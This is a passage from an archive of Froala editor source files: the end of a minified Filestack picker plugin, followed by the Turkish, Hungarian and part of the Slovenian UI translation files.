d="M11.1 17.5 8.7 20v-2.5h2.4Zm-4.9-1.6v.9h-.9v-.9h.9Zm4.9.9h-.9v-6H3.5V19h4.6v.9H2.5V9.8h8.6v7Zm-3.4-1.6H5.3v-.9h2.4v.9Zm.6-2.5v.9h-3v-.9h3Z"/>'}),St.DefineIcon("videoFilestackOnly",{template:"svgMultiplePath",PATHS:'<path d="m11 11.3 1 2.6h3.6V6.8h-9v3.6H4.8V6c0-.2.1-.5.3-.6s.4-.3.6-.3h10.8c.2 0 .5.1.6.3s.3.4.3.6v3.1l2.1-2c.3-.3.6-.3 1-.2.3 0 .6.5.6.8v5.5c0 .4-.2.7-.6.8-.3.1-.7 0-1-.2l-2.1-2v3.1c0 .2 0 .5-.3.6-.2.2-.4.3-.6.3H12V14l-1-2.7Z" /><path d="M11.1 17.5 8.7 20v-2.5h2.4Zm-4.9-1.6v.9h-.9v-.9h.9Zm4.9.9h-.9v-6H3.5V19h4.6v.9H2.5V9.8h8.6v7Zm-3.4-1.6H5.3v-.9h2.4v.9Zm.6-2.5v.9h-3v-.9h3Z"/>'}),St.RegisterCommand("openFilePicker",{type:"button",icon:"filestackIcon",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePicker"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePicker")},plugin:"filestack"}),St.RegisterCommand("openFilePickerImageOnly",{type:"button",icon:"imageFilestackOnly",title:"Open Filestack Image Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerImageOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerImageOnly",this.image&&this.image.get())},plugin:"filestack"}),St.RegisterCommand("openFilePickerImage",{type:"button",icon:"filestackIcon",title:"Open Filestack Image Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerImage"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerImage",this.image&&this.image.get())},plugin:"filestack"}),St.RegisterCommand("openFilePickerReplaceImageOnly",{type:"button",icon:"filestackIconAdd",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerReplaceImageOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerReplaceImageOnly",this.image&&this.image.get())},plugin:"filestack"}),St.RegisterCommand("openFilePickerVideoOnly",{type:"button",icon:"videoFilestackOnly",title:"Open Filestack Video Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerVideoOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerVideoOnly",null,this.video&&this.video.get())},plugin:"filestack"}),St.RegisterCommand("openFilePickerVideo",{type:"button",icon:"filestackIcon",title:"Open Filestack Video Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerVideo"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerVideo",null,this.video&&this.video.get())},plugin:"filestack"}),St.RegisterCommand("openFilePickerReplaceVideoOnly",{type:"button",icon:"filestackIconAdd",title:"Open Filestack File Picker",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerReplaceVideoOnly"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerReplaceVideoOnly",null,this.video&&this.video.get())},plugin:"filestack"}),St.RegisterCommand("filestackIcon",{type:"button",icon:"imageTransformations",title:"Image Transformations",plugin:"filestack",callback:function(){var e=!1,t=this.image.get(0)[0];(t&&t.currentSrc&&(e=t.currentSrc.includes(St.FILE_STACK_URL_PART)&&!t.currentSrc.includes("blob:")),e)?(this.button.getButtons('button[data-cmd="filestackIcon"]').addClass("fr-filestack-active"),this.events.trigger("filestack.imageTransformation.click")):this.events.trigger("filestack.imageTransformation.error")}}),St.RegisterCommand("openFilePickerFile",{type:"button",icon:"filestackIcon",title:"Open Filestack Upload File",callback:function(){this.button.getButtons('button[data-cmd="openFilePickerFile"]').addClass("fr-filestack-active"),this.filestack.showFilestackPopup("openFilePickerFile")},plugin:"filestack"})}); languages/tr.js 0000674 00000030066 00000000000 0007446 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Turkish */ FE.LANGUAGE['tr'] = { translation: { // Place holder 'Type something': "Bir \u015Fey yaz\u0131n", // Basic formatting 'Bold': "Kal\u0131n", 'Italic': "\u0130talik", 'Underline': "Alt\u0131 \xE7izili", 'Strikethrough': "\xDCst\xFC \xE7izili", // Main buttons 'Insert': 'Ekle', 'Delete': 'Silmek', 'Cancel': "\u0130ptal", 'OK': 'Tamam', 'Back': 'Geri', 'Remove': "Kald\u0131r", 'More': 'Daha', 'Update': "G\xFCncelle\u015Ftirme", 'Style': 'Stil', // Font 'Font Family': "Yaz\u0131tipi Ailesi", 'Font Size': "Yaz\u0131tipi B\xFCy\xFCkl\xFC\u011F\xFC", // Colors 'Colors': 'Renkler', 'Background': 'Arkaplan', 'Text': 'Metin', 'HEX Color': 'Altı renkli', // Paragraphs 'Paragraph Format': "Bi\xE7imler", 'Normal': 'Normal', 'Code': 'Kod', 'Heading 1': "Ba\u015Fl\u0131k 1", 'Heading 2': "Ba\u015Fl\u0131k 2", 'Heading 3': "Ba\u015Fl\u0131k 3", 'Heading 4': "Ba\u015Fl\u0131k 4", // Style 'Paragraph Style': 'Paragraf stili', 'Inline Style': "\xC7izgide stili", // Alignment 'Align': 'Hizalama', 'Align Left': 'Sola hizala', 'Align Center': 'Ortala', 'Align Right': "Sa\u011Fa hizala", 'Align Justify': "\u0130ki yana yasla", 'None': "Hi\xE7biri", // Lists 'Ordered List': "S\u0131ral\u0131 liste", 'Unordered List': "S\u0131ras\u0131z liste", // Indent 'Decrease Indent': 'Girintiyi azalt', 'Increase Indent': "Girintiyi art\u0131r", // Links 'Insert Link': "Ba\u011Flant\u0131 ekle", 'Open in new tab': "Yeni sekmede a\xE7", 'Open Link': "Linki a\xE7", 'Edit Link': "D\xFCzenleme ba\u011Flant\u0131s\u0131", 'Unlink': "Ba\u011Flant\u0131y\u0131 kald\u0131r", 'Choose Link': "Ba\u011Flant\u0131y\u0131 se\xE7in", // Images 'Insert Image': 'Resim ekle', 'Upload Image': "Y\xFCkleme g\xF6r\xFCnt\xFCs\xFC", 'By URL': "URL'ye g\xF6re", 'Browse': "G\xF6zat", 'Drop image': "B\u0131rak resim", 'or click': "ya da t\u0131klay\u0131n", 'Manage Images': "G\xF6r\xFCnt\xFCleri y\xF6netin", 'Loading': "Y\xFCkleniyor", 'Deleting': 'Silme', 'Tags': 'Etiketler', 'Are you sure? Image will be deleted.': 'Emin misin? Resim silinecektir.', 'Replace': "De\u011Fi\u015Ftirmek", 'Uploading': "Y\xFCkleme", 'Loading image': "Y\xFCkleme g\xF6r\xFCnt\xFCs\xFC", 'Display': "G\xF6stermek", 'Inline': "\xC7izgide", 'Break Text': "K\u0131r\u0131lma metni", 'Alternative Text': 'Alternatif metin', 'Change Size': "De\u011Fi\u015Fim boyutu", 'Width': "Geni\u015Flik", 'Height': "Y\xFCkseklik", 'Something went wrong. Please try again.': "Bir \u015Feyler yanl\u0131\u015F gitti. L\xFCtfen tekrar deneyin.", 'Image Caption': 'Resim yazısı', 'Advanced Edit': 'Ileri düzey düzenleme', // Video 'Insert Video': 'Video ekle', 'Embedded Code': "G\xF6m\xFCl\xFC kod", 'Paste in a video URL': 'Bir video URL\'sine yapıştırın', 'Drop video': 'Video bırak', 'Your browser does not support HTML5 video.': 'Tarayıcınız html5 videoyu desteklemez.', 'Upload Video': 'Video yükle', // Tables 'Insert Table': 'Tablo ekle', 'Table Header': "Tablo \xFCstbilgisi", 'Remove Table': "Tablo kald\u0131rma", 'Table Style': 'Tablo stili', 'Horizontal Align': 'Yatay hizalama', 'Row': "Sat\u0131r", 'Insert row above': "\xD6ncesine yeni sat\u0131r ekle", 'Insert row below': "Sonras\u0131na yeni sat\u0131r ekle", 'Delete row': "Sat\u0131r\u0131 sil", 'Column': "S\xFCtun", 'Insert column before': "\xD6ncesine yeni s\xFCtun ekle", 'Insert column after': "Sonras\u0131na yeni s\xFCtun ekle", 'Delete column': "S\xFCtunu sil", 'Cell': "H\xFCcre", 'Merge cells': "H\xFCcreleri birle\u015Ftir", 'Horizontal split': "Yatay b\xF6l\xFCnm\xFC\u015F", 'Vertical split': "Dikey b\xF6l\xFCnm\xFC\u015F", 'Cell Background': "H\xFCcre arka plan\u0131", 'Vertical Align': 'Dikey hizalama', 'Top': "\xDCst", 'Middle': 'Orta', 'Bottom': 'Alt', 'Align Top': "\xDCst hizalama", 'Align Middle': 'Orta hizalama', 'Align Bottom': 'Dibe hizalama', 'Cell Style': "H\xFCcre stili", // Files 'Upload File': "Dosya Y\xFCkle", 'Drop file': "B\u0131rak dosya", // Emoticons 'Emoticons': "\u0130fadeler", 'Grinning face': "S\u0131r\u0131tan y\xFCz", 'Grinning face with smiling eyes': "G\xFClen g\xF6zlerle y\xFCz s\u0131r\u0131tarak", 'Face with tears of joy': "Sevin\xE7 g\xF6zya\u015Flar\u0131yla Y\xFCz", 'Smiling face with open mouth': "A\xE7\u0131k a\u011Fz\u0131 ile g\xFCl\xFCmseyen y\xFCz\xFC", 'Smiling face with open mouth and smiling eyes': "A\xE7\u0131k a\u011Fz\u0131 ve g\xFCl\xFCmseyen g\xF6zlerle g\xFCler y\xFCz", 'Smiling face with open mouth and cold sweat': "A\xE7\u0131k a\u011Fz\u0131 ve so\u011Fuk ter ile g\xFClen y\xFCz\xFC", 'Smiling face with open mouth and tightly-closed eyes': "A\xE7\u0131k a\u011Fz\u0131 s\u0131k\u0131ca kapal\u0131 g\xF6zlerle g\xFClen y\xFCz\xFC", 'Smiling face with halo': "Halo ile y\xFCz g\xFClen", 'Smiling face with horns': "Boynuzlar\u0131 ile g\xFCler y\xFCz", 'Winking face': "G\xF6z a\xE7\u0131p kapay\u0131ncaya y\xFCz\xFC", 'Smiling face with smiling eyes': "G\xFClen g\xF6zlerle g\xFCler Y\xFCz", 'Face savoring delicious food': "Lezzetli yemekler tad\u0131n\u0131 Y\xFCz", 'Relieved face': "Rahatlad\u0131m y\xFCz\xFC", 'Smiling face with heart-shaped eyes': "Kalp \u015Feklinde g\xF6zlerle g\xFCler y\xFCz", 'Smiling face with sunglasses': "Kalp \u015Feklinde g\xF6zlerle g\xFCler y\xFCz", 'Smirking face': "S\u0131r\u0131tan y\xFCz", 'Neutral face': "N\xF6tr y\xFCz", 'Expressionless face': "Ifadesiz y\xFCz\xFC", 'Unamused face': "Kay\u0131ts\u0131z y\xFCz\xFC", 'Face with cold sweat': "So\u011Fuk terler Y\xFCz", 'Pensive face': "dalg\u0131n bir y\xFCz", 'Confused face': "\u015Fa\u015Fk\u0131n bir y\xFCz", 'Confounded face': "Ele\u015Ftirilmi\u015Ftir y\xFCz\xFC", 'Kissing face': "\xF6p\xFC\u015Fme y\xFCz\xFC", 'Face throwing a kiss': "Bir \xF6p\xFCc\xFCk atma Y\xFCz", 'Kissing face with smiling eyes': "G\xFClen g\xF6zlerle y\xFCz \xF6p\xFC\u015Fme", 'Kissing face with closed eyes': "Kapal\u0131 g\xF6zlerle \xF6p\xF6\u015Fme y\xFCz", 'Face with stuck out tongue': "Dilini y\xFCz ile s\u0131k\u0131\u015Fm\u0131\u015F", 'Face with stuck out tongue and winking eye': "\u015Ea\u015F\u0131r\u0131p kalm\u0131\u015F d\u0131\u015Far\u0131 dil ve g\xF6z k\u0131rpan y\xFCz", 'Face with stuck out tongue and tightly-closed eyes': "Y\xFCz ile dil ve s\u0131k\u0131ca kapal\u0131 g\xF6zleri s\u0131k\u0131\u015Fm\u0131\u015F", 'Disappointed face': "Hayal k\u0131r\u0131kl\u0131\u011F\u0131na y\xFCz\xFC", 'Worried face': "Endi\u015Feli bir y\xFCz", 'Angry face': "K\u0131zg\u0131n y\xFCz", 'Pouting face': "Somurtarak y\xFCz\xFC", 'Crying face': "A\u011Flayan y\xFCz", 'Persevering face': "Azmeden y\xFCz\xFC", 'Face with look of triumph': "Zafer bak\u0131\u015Fla Y\xFCz", 'Disappointed but relieved face': "Hayal k\u0131r\u0131kl\u0131\u011F\u0131 ama rahatlad\u0131m y\xFCz", 'Frowning face with open mouth': "A\xE7\u0131k a\u011Fz\u0131 ile \xE7at\u0131k y\xFCz\xFC", 'Anguished face': "Kederli y\xFCz", 'Fearful face': "Korkulu y\xFCz\xFC", 'Weary face': "Yorgun y\xFCz\xFC", 'Sleepy face': "Uykulu y\xFCz\xFC", 'Tired face': "Yorgun y\xFCz\xFC", 'Grimacing face': "Y\xFCz\xFCn\xFC buru\u015Fturarak y\xFCz\xFC", 'Loudly crying face': "Y\xFCksek sesle y\xFCz\xFC a\u011Fl\u0131yor", 'Face with open mouth': "A\xE7\u0131k a\u011Fz\u0131 ile Y\xFCz", 'Hushed face': "Dingin y\xFCz\xFC", 'Face with open mouth and cold sweat': "A\xE7\u0131k a\u011Fz\u0131 ve so\u011Fuk ter ile Y\xFCz", 'Face screaming in fear': "Korku i\xE7inde \xE7\u0131\u011Fl\u0131k Y\xFCz", 'Astonished face': "\u015Fa\u015Fk\u0131n bir y\xFCz", 'Flushed face': "K\u0131zarm\u0131\u015F y\xFCz\xFC", 'Sleeping face': "Uyuyan y\xFCz\xFC", 'Dizzy face': "Ba\u015F\u0131m d\xF6nd\xFC y\xFCz", 'Face without mouth': "A\u011F\u0131z olmadan Y\xFCz", 'Face with medical mask': "T\u0131bbi maske ile y\xFCz", // Line breaker 'Break': "K\u0131r\u0131lma", // Math 'Subscript': 'Alt simge', 'Superscript': "\xDCst simge", // Full screen 'Fullscreen': 'Tam ekran', // Horizontal line 'Insert Horizontal Line': "Yatay \xE7izgi ekleme", // Clear formatting 'Clear Formatting': "Bi\xE7imlendirme kald\u0131r", // Save 'Save': 'Kayıt etmek', // Undo, redo 'Undo': 'Geri Al', 'Redo': 'Yinele', // Select all 'Select All': "T\xFCm\xFCn\xFC se\xE7", // Code view 'Code View': "Kod g\xF6r\xFCn\xFCm\xFC", // Quote 'Quote': "Al\u0131nt\u0131", 'Increase': "Art\u0131rmak", 'Decrease': "Azal\u0131\u015F", // Quick Insert 'Quick Insert': "H\u0131zl\u0131 insert", // Spcial Characters 'Special Characters': 'Özel karakterler', 'Latin': 'Latince', 'Greek': 'Yunan', 'Cyrillic': 'Kiril', 'Punctuation': 'Noktalama', 'Currency': 'Para birimi', 'Arrows': 'Oklar', 'Math': 'Matematik', 'Misc': 'Misc', // Print. 'Print': 'Baskı', // Spell Checker. 'Spell Checker': 'Yazım denetleyicisi', // Help 'Help': 'Yardım et', 'Shortcuts': 'Kısayollar', 'Inline Editor': 'Satır içi düzenleyici', 'Show the editor': 'Editörü gösterin', 'Common actions': 'Ortak eylemler', 'Copy': 'Kopya', 'Cut': 'Kesim', 'Paste': 'Yapıştırmak', 'Basic Formatting': 'Temel biçimlendirme', 'Increase quote level': 'Teklif seviyesini yükselt', 'Decrease quote level': 'Teklif seviyesini azalt', 'Image / Video': 'Resim / video', 'Resize larger': 'Daha büyük yeniden boyutlandır', 'Resize smaller': 'Daha küçük boyuta getir', 'Table': 'Tablo', 'Select table cell': 'Tablo hücresi seç', 'Extend selection one cell': 'Seçimi bir hücre genişlet', 'Extend selection one row': 'Seçimi bir sıra genişlet', 'Navigation': 'Navigasyon', 'Focus popup / toolbar': 'Odaklanma açılır penceresi / araç çubuğu', 'Return focus to previous position': 'Odaklamaya önceki konumuna geri dönün', // Embed.ly 'Embed URL': 'URL göm', 'Paste in a URL to embed': 'Yerleştirmek için bir URL\'ye yapıştırın', // Word Paste. 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'Yapıştırılan içerik bir Microsoft Word belgesinden geliyor. Biçimi saklamaya mı yoksa temizlemeyi mi istiyor musun?', 'Keep': 'Tutmak', 'Clean': 'Temiz', 'Word Paste Detected': 'Kelime yapıştırması algılandı', // Character Counter 'Characters': 'Karakterler', // More Buttons 'More Text': 'daha fazla Metin', 'More Paragraph': 'daha fazla Paragraf', 'More Rich': 'daha fazla Zengin', 'More Misc': 'daha fazla Çeşitli' }, direction: 'ltr' }; }))); //# sourceMappingURL=tr.js.map languages/hu.js 0000674 00000026176 00000000000 0007444 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Hungarian */ FE.LANGUAGE['hu'] = { translation: { // Place holder 'Type something': 'Szöveg...', // Basic formatting 'Bold': 'Félkövér', 'Italic': 'Dőlt', 'Underline': 'Aláhúzott', 'Strikethrough': 'Áthúzott', // Main buttons 'Insert': 'Beillesztés', 'Delete': 'Törlés', 'Cancel': 'Mégse', 'OK': 'Rendben', 'Back': 'Vissza', 'Remove': 'Eltávolítás', 'More': 'Több', 'Update': 'Frissítés', 'Style': 'Stílus', // Font 'Font Family': 'Betűtípus', 'Font Size': 'Betűméret', // Colors 'Colors': 'Színek', 'Background': 'Háttér', 'Text': 'Szöveg', 'HEX Color': 'HEX színkód', // Paragraphs 'Paragraph Format': 'Formátumok', 'Normal': 'Normál', 'Code': 'Kód', 'Heading 1': 'Címsor 1', 'Heading 2': 'Címsor 2', 'Heading 3': 'Címsor 3', 'Heading 4': 'Címsor 4', // Style 'Paragraph Style': 'Bekezdés stílusa', 'Inline Style': ' Helyi stílus', // Alignment 'Align': 'Igazítás', 'Align Left': 'Balra igazít', 'Align Center': 'Középre zár', 'Align Right': 'Jobbra igazít', 'Align Justify': 'Sorkizárás', 'None': 'Egyik sem', // Lists 'Ordered List': 'Számozás', 'Default': 'Alapértelmezett', 'Lower Alpha': 'Alacsonyabb alfa', 'Lower Greek': 'Alsó görög', 'Lower Roman': 'Alacsonyabb római', 'Upper Alpha': 'Felső alfa', 'Upper Roman': 'Felső római', 'Unordered List': 'Felsorolás', 'Circle': 'Kör', 'Disc': 'Lemez', 'Square': 'Négyzet', // Line height 'Line Height': 'Vonal magassága', 'Single': 'Egyetlen', 'Double': 'Kettős', // Indent 'Decrease Indent': 'Behúzás csökkentése', 'Increase Indent': 'Behúzás növelése', // Links 'Insert Link': 'Hivatkozás beillesztése', 'Open in new tab': 'Megnyitás új lapon', 'Open Link': 'Hivatkozás megnyitása', 'Edit Link': 'Hivatkozás szerkesztése', 'Unlink': 'Hivatkozás törlése', 'Choose Link': 'Keresés a lapok között', // Images 'Insert Image': 'Kép beillesztése', 'Upload Image': 'Kép feltöltése', 'By URL': 'Webcím megadása', 'Browse': 'Böngészés', 'Drop image': 'Húzza ide a képet', 'or click': 'vagy kattintson ide', 'Manage Images': 'Képek kezelése', 'Loading': 'Betöltés...', 'Deleting': 'Törlés...', 'Tags': 'Címkék', 'Are you sure? Image will be deleted.': 'Biztos benne? A kép törlésre kerül.', 'Replace': 'Csere', 'Uploading': 'Feltöltés', 'Loading image': 'Kép betöltése', 'Display': 'Kijelző', 'Inline': 'Sorban', 'Break Text': 'Szöveg törése', 'Alternative Text': 'Alternatív szöveg', 'Change Size': 'Méret módosítása', 'Width': 'Szélesség', 'Height': 'Magasság', 'Something went wrong. Please try again.': 'Valami elromlott. Kérjük próbálja újra.', 'Image Caption': 'Képaláírás', 'Advanced Edit': 'Fejlett szerkesztés', // Video 'Insert Video': 'Videó beillesztése', 'Embedded Code': 'Kód bemásolása', 'Paste in a video URL': 'Illessze be a videó webcímét', 'Drop video': 'Húzza ide a videót', 'Your browser does not support HTML5 video.': 'A böngészője nem támogatja a HTML5 videót.', 'Upload Video': 'Videó feltöltése', // Tables 'Insert Table': 'Táblázat beillesztése', 'Table Header': 'Táblázat fejléce', 'Remove Table': 'Tábla eltávolítása', 'Table Style': 'Táblázat stílusa', 'Horizontal Align': 'Vízszintes igazítás', 'Row': 'Sor', 'Insert row above': 'Sor beszúrása elé', 'Insert row below': 'Sor beszúrása mögé', 'Delete row': 'Sor törlése', 'Column': 'Oszlop', 'Insert column before': 'Oszlop beszúrása elé', 'Insert column after': 'Oszlop beszúrása mögé', 'Delete column': 'Oszlop törlése', 'Cell': 'Cella', 'Merge cells': 'Cellák egyesítése', 'Horizontal split': 'Vízszintes osztott', 'Vertical split': 'Függőleges osztott', 'Cell Background': 'Cella háttere', 'Vertical Align': 'Függőleges igazítás', 'Top': 'Felső', 'Middle': 'Középső', 'Bottom': 'Alsó', 'Align Top': 'Igazítsa felülre', 'Align Middle': 'Igazítsa középre', 'Align Bottom': 'Igazítsa alúlra', 'Cell Style': 'Cella stílusa', // Files 'Upload File': 'Fájl feltöltése', 'Drop file': 'Húzza ide a fájlt', // Emoticons 'Emoticons': 'Hangulatjelek', 'Grinning face': 'Vigyorgó arc', 'Grinning face with smiling eyes': 'Vigyorgó arc mosolygó szemekkel', 'Face with tears of joy': 'Arcon az öröm könnyei', 'Smiling face with open mouth': 'Mosolygó arc tátott szájjal', 'Smiling face with open mouth and smiling eyes': 'Mosolygó arc tátott szájjal és mosolygó szemek', 'Smiling face with open mouth and cold sweat': 'Mosolygó arc tátott szájjal és hideg veríték', 'Smiling face with open mouth and tightly-closed eyes': 'Mosolygó arc tátott szájjal és lehunyt szemmel', 'Smiling face with halo': 'Mosolygó arc dicsfényben', 'Smiling face with horns': 'Mosolygó arc szarvakkal', 'Winking face': 'Kacsintós arc', 'Smiling face with smiling eyes': 'Mosolygó arc mosolygó szemekkel', 'Face savoring delicious food': 'Ízletes ételek kóstolása', 'Relieved face': 'Megkönnyebbült arc', 'Smiling face with heart-shaped eyes': 'Mosolygó arc szív alakú szemekkel', 'Smilin g face with sunglasses': 'Mosolygó arc napszemüvegben', 'Smirking face': 'Vigyorgó arc', 'Neutral face': 'Semleges arc', 'Expressionless face': 'Kifejezéstelen arc', 'Unamused face': 'Unott arc', 'Face with cold sweat': 'Arcán hideg verejtékkel', 'Pensive face': 'Töprengő arc', 'Confused face': 'Zavaros arc', 'Confounded face': 'Rácáfolt arc', 'Kissing face': 'Csókos arc', 'Face throwing a kiss': 'Arcra dobott egy csókot', 'Kissing face with smiling eyes': 'Csókos arcán mosolygó szemek', 'Kissing face with closed eyes': 'Csókos arcán csukott szemmel', 'Face with stuck out tongue': 'Kinyújototta a nyelvét', 'Face with stuck out tongue and winking eye': 'Kinyújtotta a nyelvét és kacsintó szem', 'Face with stuck out tongue and tightly-closed eyes': 'Kinyújtotta a nyelvét és szorosan lehunyt szemmel', 'Disappointed face': 'Csalódott arc', 'Worried face': 'Aggódó arc', 'Angry face': 'Dühös arc', 'Pouting face': 'Duzzogó arc', 'Crying face': 'Síró arc', 'Persevering face': 'Kitartó arc', 'Face with look of triumph': 'Arcát diadalmas pillantást', 'Disappointed but relieved face': 'Csalódott, de megkönnyebbült arc', 'Frowning face with open mouth': 'Komor arc tátott szájjal', 'Anguished face': 'Gyötrődő arc', 'Fearful face': 'Félelmetes arc', 'Weary face': 'Fáradt arc', 'Sleepy face': 'Álmos arc', 'Tired face': 'Fáradt arc', 'Grimacing face': 'Elfintorodott arc', 'Loudly crying face': 'Hangosan síró arc', 'Face with open mouth': 'Arc nyitott szájjal', 'Hushed face': 'Csitított arc', 'Face with open mouth and cold sweat': 'Arc tátott szájjal és hideg veríték', 'Face screaming in fear': 'Sikoltozó arc a félelemtől', 'Astonished face': 'Meglepett arc', 'Flushed face': 'Kipirult arc', 'Sleeping face': 'Alvó arc', 'Dizzy face': ' Szádülő arc', 'Face without mouth': 'Arc nélküli száj', 'Face with medical mask': 'Arcán orvosi maszk', // Line breaker 'Break': 'Törés', // Math 'Subscript': 'Alsó index', 'Superscript': 'Felső index', // Full screen 'Fullscreen': 'Teljes képernyő', // Horizontal line 'Insert Horizontal Line': 'Vízszintes vonal', // Clear formatting 'Clear Formatting': 'Formázás eltávolítása', // Save 'Save': 'Mentés', // Undo, redo 'Undo': 'Visszavonás', 'Redo': 'Ismét', // Select all 'Select All': 'Minden kijelölése', // Code view 'Code View': 'Forráskód', // Quote 'Quote': 'Idézet', 'Increase': 'Növelés', 'Decrease': 'Csökkentés', // Quick Insert 'Quick Insert': 'Beillesztés', // Spcial Characters 'Special Characters': 'Speciális karakterek', 'Latin': 'Latin', 'Greek': 'Görög', 'Cyrillic': 'Cirill', 'Punctuation': 'Központozás', 'Currency': 'Valuta', 'Arrows': 'Nyilak', 'Math': 'Matematikai', 'Misc': 'Egyéb', // Print 'Print': 'Nyomtatás', // Spell Checker 'Spell Checker': 'Helyesírás-ellenőrző', // Help 'Help': 'Segítség', 'Shortcuts': 'Hivatkozások', 'Inline Editor': 'Inline szerkesztő', 'Show the editor': 'Mutassa a szerkesztőt', 'Common actions': 'Közös cselekvések', 'Copy': 'Másolás', 'Cut': 'Kivágás', 'Paste': 'Beillesztés', 'Basic Formatting': 'Alap formázás', 'Increase quote level': 'Növeli az idézet behúzását', 'Decrease quote level': 'Csökkenti az idézet behúzását', 'Image / Video': 'Kép / videó', 'Resize larger': 'Méretezés nagyobbra', 'Resize smaller': 'Méretezés kisebbre', 'Table': 'Asztal', 'Select table cell': 'Válasszon táblázat cellát', 'Extend selection one cell': 'Növelje meg egy sorral', 'Extend selection one row': 'Csökkentse egy sorral', 'Navigation': 'Navigáció', 'Focus popup / toolbar': 'Felugró ablak / eszköztár', 'Return focus to previous position': 'Visszaáll az előző pozícióra', // Embed.ly 'Embed URL': 'Beágyazott webcím', 'Paste in a URL to embed': 'Beilleszteni egy webcímet a beágyazáshoz', // Word Paste 'The pasted content is coming from a Microsoft Word document. Do you want to keep the format or clean it up?': 'A beillesztett tartalom egy Microsoft Word dokumentumból származik. Szeretné megtartani a formázását vagy sem?', 'Keep': 'Megtartás', 'Clean': 'Tisztítás', 'Word Paste Detected': 'Word beillesztés észlelhető' }, direction: 'ltr' }; }))); //# sourceMappingURL=hu.js.map languages/sl.js 0000674 00000017141 00000000000 0007436 0 ustar 00 /*! * froala_editor v4.3.1 (https://www.froala.com/wysiwyg-editor) * License https://froala.com/wysiwyg-editor/terms/ * Copyright 2014-2024 Froala Labs */ (function (global, factory) { typeof exports === 'object' && typeof module !== 'undefined' ? factory(require('froala-editor')) : typeof define === 'function' && define.amd ? define(['froala-editor'], factory) : (factory(global.FroalaEditor)); }(this, (function (FE) { 'use strict'; FE = FE && FE.hasOwnProperty('default') ? FE['default'] : FE; /** * Slovenian */ FE.LANGUAGE['sl'] = { translation: { // Place holder 'Type something': 'Nekaj vtipkajte', // Basic formatting 'Bold': 'Krepko', 'Italic': 'Italik', //'Poševno', 'Underline': 'Podčrta', //'Podčrtano', 'Strikethrough': 'Prečrtano', // Main buttons 'Insert': 'Vstavi', 'Delete': 'Izbriši', 'Cancel': 'Prekliči', 'OK': 'OK', 'Back': 'Nazaj', 'Remove': 'Odstrani', 'More': 'Več', 'Update': 'Posodobi', 'Style': 'Slog', // Font 'Font Family': 'Oblika pisave', 'Font Size': 'Velikost pisave', // Colors 'Colors': 'Barve', 'Background': 'Ozadje', 'Text': 'Besedilo', 'HEX Color': 'HEX Barva', // Paragraphs 'Paragraph Format': 'Oblika odstavka', 'Normal': 'Normalno', 'Code': 'Koda', 'Heading 1': 'Naslov 1', 'Heading 2': 'Naslov 2', 'Heading 3': 'Naslov 3', 'Heading 4': 'Naslov 4', // Style 'Paragraph Style': 'Slog odstavka', 'Inline Style': 'Vrstični slog', // Alignment 'Align': 'Poravnajte', 'Align Left': 'Leva poravnava', 'Align Center': 'Sredinska poravnava', 'Align Right': 'Desna poravnava', 'Align Justify': 'Poravnajte utemeljite', 'None': 'Noben', // Lists 'Ordered List': 'Številčni seznam', 'Unordered List': 'Neštevilčni seznam', // Indent 'Decrease Indent': 'Zmanjšaj zamik', 'Increase Indent': 'Povečaj zamik', // Links 'Insert Link': 'Vstavi povezavo', 'Open in new tab': 'Odpri v novem zavihku', 'Open Link': 'Odpri povezavo', 'Edit Link': 'Uredi povezavo', 'Unlink': 'Odstrani povezavo', 'Choose Link': 'Izberi povezavo', // Images 'Insert Image': 'Vstavi sliko', 'Upload Image': 'Naloži sliko', 'By URL': 'Po URL-ju', 'Browse': 'Prebrskaj', 'Drop image': 'Spusti sliko', 'or click': 'ali kliknite', 'Manage Images': 'Urejanje slik', 'Loading': 'Nalaganje', 'Deleting': 'Brisanje', 'Tags': 'Značke', 'Are you sure? Image will be deleted.': 'Ali ste prepričani? Slika bo izbrisana.', 'Replace': 'Zamenjaj', 'Uploading': 'Nalaganje', 'Loading image': 'Nalagam sliko', 'Display': 'Prikaži', 'Inline': 'Vrstično', 'Break Text': 'Prelomi besedilo', 'Alternative Text': 'Nadomestno besedilo', 'Change Size': 'Spremeni velikost', 'Width': 'Širina', 'Height': 'Višina', 'Something went wrong. Please try again.': 'Nekaj je šlo narobe. Prosimo, poskusite ponovno.', 'Image Caption': 'Opis slike', 'Advanced Edit': 'Napredno urejanje', // Video 'Insert Video': 'Vstavi video posnetek', 'Embedded Code': 'Vdelana koda', 'Paste in a video URL': 'Prilepite URL video posnetka', 'Drop video': 'Spustite video posnetek sem', 'Your browser does not support HTML5 video.': 'Vaš brskalnik ne podpira HTML5 video funkcionalnosti.', 'Upload Video': 'Naloži video posnetek', // Tables 'Insert Table': 